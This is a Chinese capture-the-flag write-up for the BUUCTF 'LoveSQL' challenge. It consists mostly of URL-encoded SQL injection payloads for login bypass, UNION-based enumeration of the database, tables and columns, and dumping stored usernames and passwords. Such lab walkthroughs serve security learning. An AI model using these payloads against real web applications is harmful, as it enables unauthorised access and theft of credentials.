BUUCTF [极客大挑战 2019] LoveSQL
打开靶场,访问题目:
尝试登陆:
因为之前一题:BUUCTF 极客大挑战 2019 EasySQL使用了万能密码完成了注入,所以再次尝试:
xxx.buuoj.cn/check.php
?username=admin' or '1'='1
&password=1
得到了用户名和密码:
尝试密码md5
解密失败,还是回到注入的思路上,查询字段数:
/check.php?username=admin' order by 3%23&password=1
当字段数为3
时,页面回显正常,使用union
查询回显点位:
/check.php
?username=1' union select 1,2,3%23
&password=1
得到回显点位为2
和3
,查询当前数据库名及版本:
/check.php
?username=1' union select 1,database(),version()%23
&password=1
得到当前数据库名为geek
,数据库版本为10.3.18-MariaDB
,查询表名:
/check.php
?username=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 %23
&password=1
通过修改limit
的参数,得到表名为:geekuser
、l0ve1ysq1
,查询第二个表中的列:
/check.php
?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' %23
&password=1
得到该表中有三列,查询username
和password
列的内容:
/check.php
?username=1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1 %23
&password=1
// 将1和2通过~(十六进制形式)连接
// 类似:username~password
group_concat(concat_ws(0x7e,1,2))
在最后得到flag
:
完成对本题目的注入